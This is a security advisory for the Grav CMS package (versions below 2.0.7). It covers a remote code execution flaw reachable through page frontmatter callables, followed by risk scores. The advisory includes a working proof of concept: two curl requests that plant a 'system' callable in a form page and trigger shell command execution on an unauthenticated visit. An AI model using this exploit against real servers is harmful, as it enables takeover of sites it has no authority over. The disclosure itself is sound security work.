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GHSA-fj2p-qj2f-74v5

HighCVSS 8.7 / 10
Published Sep 2, 2026·Last modified Sep 2, 2026
Affected Components(1)
Packagist logogetgrav/grav
< 2.0.7
Description

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

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Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
2.02%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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